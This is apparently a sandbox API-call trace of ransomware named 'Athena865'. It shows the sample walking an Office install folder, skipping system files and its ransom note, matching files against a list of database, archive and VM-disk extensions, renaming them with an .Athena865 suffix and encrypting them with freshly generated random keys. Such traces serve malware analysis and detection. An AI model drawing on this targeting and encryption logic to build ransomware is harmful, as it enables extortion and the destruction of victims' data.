[0069.597] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL.Athena865") returned 63 [0069.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll.athena865"), dwFlags=0x1) returned 1 [0069.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=221536) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.603] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.603] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.603] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36460, lpName=0x0) returned 0x154 [0069.605] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36460) returned 0x170000 [0069.616] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.616] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.616] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.617] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0069.619] CloseHandle (hObject=0x154) returned 1 [0069.619] CloseHandle (hObject=0x17c) returned 1 [0069.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.620] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0069.620] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.620] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.620] lstrcmpiW (lpString1="DWGDP.DLL", lpString2=".") returned 1 [0069.620] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="..") returned 1 [0069.620] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="windows") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="bootmgr") returned 1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="temp") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="pagefile.sys") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="boot") returned 1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="ids.txt") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="ntuser.dat") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="perflogs") returned -1 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2="MSBuild") returned -1 [0069.621] lstrlenW (lpString="DWGDP.DLL") returned 9 [0069.621] lstrcpyW (in: lpString1=0x241e89e, lpString2="DWGDP.DLL" | out: lpString1="DWGDP.DLL") returned="DWGDP.DLL" [0069.621] lstrlenW (lpString="DWGDP.DLL") returned 9 [0069.621] lstrlenW (lpString="Athena865") returned 9 [0069.621] lstrlenW (lpString=".dll") returned 4 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2=".dll") returned 1 [0069.621] lstrlenW (lpString=".lnk") returned 4 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2=".lnk") returned 1 [0069.621] lstrlenW (lpString=".ini") returned 4 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2=".ini") returned 1 [0069.621] lstrlenW (lpString=".sys") returned 4 [0069.621] lstrcmpiW (lpString1="DWGDP.DLL", lpString2=".sys") returned 1 [0069.621] lstrlenW (lpString="DWGDP.DLL") returned 9 [0069.621] lstrlenW (lpString="bak") returned 3 [0069.621] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.621] lstrlenW (lpString="ba_") returned 3 [0069.621] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.621] lstrlenW (lpString="dbb") returned 3 [0069.621] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.621] lstrlenW (lpString="vmdk") returned 4 [0069.621] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.621] lstrlenW (lpString="rar") returned 3 [0069.621] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.622] lstrlenW (lpString="zip") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.622] lstrlenW (lpString="tgz") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.622] lstrlenW (lpString="vbox") returned 4 [0069.622] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.622] lstrlenW (lpString="vdi") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.622] lstrlenW (lpString="vhd") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.622] lstrlenW (lpString="vhdx") returned 4 [0069.622] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.622] lstrlenW (lpString="avhd") returned 4 [0069.622] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.622] lstrlenW (lpString="db") returned 2 [0069.622] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.622] lstrlenW (lpString="db2") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.622] lstrlenW (lpString="db3") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.622] lstrlenW (lpString="dbf") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.622] lstrlenW (lpString="mdf") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.622] lstrlenW (lpString="mdb") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.622] lstrlenW (lpString="sql") returned 3 [0069.622] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.622] lstrlenW (lpString="sqlite") returned 6 [0069.622] lstrcmpiW (lpString1="DP.DLL", lpString2="sqlite") returned -1 [0069.622] lstrlenW (lpString="sqlite3") returned 7 [0069.623] lstrcmpiW (lpString1="GDP.DLL", lpString2="sqlite3") returned -1 [0069.623] lstrlenW (lpString="sqlitedb") returned 8 [0069.623] lstrcmpiW (lpString1="WGDP.DLL", lpString2="sqlitedb") returned 1 [0069.623] lstrlenW (lpString="xml") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.623] lstrlenW (lpString="$er") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.623] lstrlenW (lpString="4dd") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.623] lstrlenW (lpString="4dl") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.623] lstrlenW (lpString="^^^") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.623] lstrlenW (lpString="abs") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.623] lstrlenW (lpString="abx") returned 3 [0069.623] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.623] lstrlenW (lpString="accdb") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accdb") returned 1 [0069.623] lstrlenW (lpString="accdc") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accdc") returned 1 [0069.623] lstrlenW (lpString="accde") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accde") returned 1 [0069.623] lstrlenW (lpString="accdr") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accdr") returned 1 [0069.623] lstrlenW (lpString="accdt") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accdt") returned 1 [0069.623] lstrlenW (lpString="accdw") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accdw") returned 1 [0069.623] lstrlenW (lpString="accft") returned 5 [0069.623] lstrcmpiW (lpString1="P.DLL", lpString2="accft") returned 1 [0069.623] lstrlenW (lpString="adb") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.624] lstrlenW (lpString="adb") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.624] lstrlenW (lpString="ade") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.624] lstrlenW (lpString="adf") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.624] lstrlenW (lpString="adn") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.624] lstrlenW (lpString="adp") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.624] lstrlenW (lpString="alf") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.624] lstrlenW (lpString="ask") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.624] lstrlenW (lpString="btr") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.624] lstrlenW (lpString="cat") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.624] lstrlenW (lpString="cdb") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.624] lstrlenW (lpString="ckp") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.624] lstrlenW (lpString="cma") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.624] lstrlenW (lpString="cpd") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.624] lstrlenW (lpString="dacpac") returned 6 [0069.624] lstrcmpiW (lpString1="DP.DLL", lpString2="dacpac") returned 1 [0069.624] lstrlenW (lpString="dad") returned 3 [0069.624] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.624] lstrlenW (lpString="dadiagrams") returned 10 [0069.625] lstrlenW (lpString="daschema") returned 8 [0069.625] lstrcmpiW (lpString1="WGDP.DLL", lpString2="daschema") returned 1 [0069.625] lstrlenW (lpString="db-journal") returned 10 [0069.625] lstrlenW (lpString="db-shm") returned 6 [0069.626] lstrcmpiW (lpString1="DP.DLL", lpString2="db-shm") returned 1 [0069.627] lstrlenW (lpString="db-wal") returned 6 [0069.627] lstrcmpiW (lpString1="DP.DLL", lpString2="db-wal") returned 1 [0069.627] lstrlenW (lpString="dbc") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.627] lstrlenW (lpString="dbs") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.627] lstrlenW (lpString="dbt") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.627] lstrlenW (lpString="dbv") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.627] lstrlenW (lpString="dbx") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.627] lstrlenW (lpString="dcb") returned 3 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.627] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.627] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.627] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.Athena865") returned 62 [0069.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.athena865"), dwFlags=0x1) returned 1 [0069.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9387368) returned 1 [0069.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.635] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.636] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.636] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.636] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f4070, lpName=0x0) returned 0x154 [0069.638] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0xf4070) returned 0x2d50000 [0069.793] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.793] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.793] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.794] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.803] CloseHandle (hObject=0x154) returned 1 [0069.803] CloseHandle (hObject=0x17c) returned 1 [0069.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.812] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2=".") returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="..") returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="windows") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="bootmgr") returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="temp") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="pagefile.sys") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="boot") returned 1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="ids.txt") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="ntuser.dat") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="perflogs") returned -1 [0069.812] lstrcmpiW (lpString1="EDITOR.EXE", lpString2="MSBuild") returned -1 [0069.812] lstrlenW (lpString="EDITOR.EXE") returned 10 [0069.813] lstrcpyW (in: lpString1=0x241e89e, lpString2="EDITOR.EXE" | out: lpString1="EDITOR.EXE") returned="EDITOR.EXE" [0069.813] lstrlenW (lpString="EDITOR.EXE") returned 10 [0069.813] lstrlenW (lpString="Athena865") returned 9 [0069.813] lstrcmpiW (lpString1="DITOR.EXE", lpString2="Athena865") returned 1 [0069.813] lstrlenW (lpString=".dll") returned 4 [0069.813] lstrcmpiW (lpString1="EDITOR.EXE", lpString2=".dll") returned 1 [0069.813] lstrlenW (lpString=".lnk") returned 4 [0069.813] lstrcmpiW (lpString1="EDITOR.EXE", lpString2=".lnk") returned 1 [0069.813] lstrlenW (lpString=".ini") returned 4 [0069.813] lstrcmpiW (lpString1="EDITOR.EXE", lpString2=".ini") returned 1 [0069.813] lstrlenW (lpString=".sys") returned 4 [0069.813] lstrcmpiW (lpString1="EDITOR.EXE", lpString2=".sys") returned 1 [0069.813] lstrlenW (lpString="EDITOR.EXE") returned 10 [0069.813] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.Athena865") returned 63 [0069.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe.athena865"), dwFlags=0x1) returned 1 [0069.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.815] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=199016) returned 1 [0069.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.817] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.817] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.817] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c70, lpName=0x0) returned 0x154 [0069.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30c70) returned 0x170000 [0069.830] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.830] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.830] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.831] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0069.833] CloseHandle (hObject=0x154) returned 1 [0069.833] CloseHandle (hObject=0x17c) returned 1 [0069.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2=".") returned 1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="..") returned 1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="windows") returned -1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="bootmgr") returned 1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="temp") returned -1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="pagefile.sys") returned -1 [0069.834] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="boot") returned 1 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="ids.txt") returned -1 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="ntuser.dat") returned -1 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="perflogs") returned -1 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2="MSBuild") returned -1 [0069.835] lstrlenW (lpString="EDITORS.DLL") returned 11 [0069.835] lstrcpyW (in: lpString1=0x241e89e, lpString2="EDITORS.DLL" | out: lpString1="EDITORS.DLL") returned="EDITORS.DLL" [0069.835] lstrlenW (lpString="EDITORS.DLL") returned 11 [0069.835] lstrlenW (lpString="Athena865") returned 9 [0069.835] lstrcmpiW (lpString1="ITORS.DLL", lpString2="Athena865") returned 1 [0069.835] lstrlenW (lpString=".dll") returned 4 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2=".dll") returned 1 [0069.835] lstrlenW (lpString=".lnk") returned 4 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2=".lnk") returned 1 [0069.835] lstrlenW (lpString=".ini") returned 4 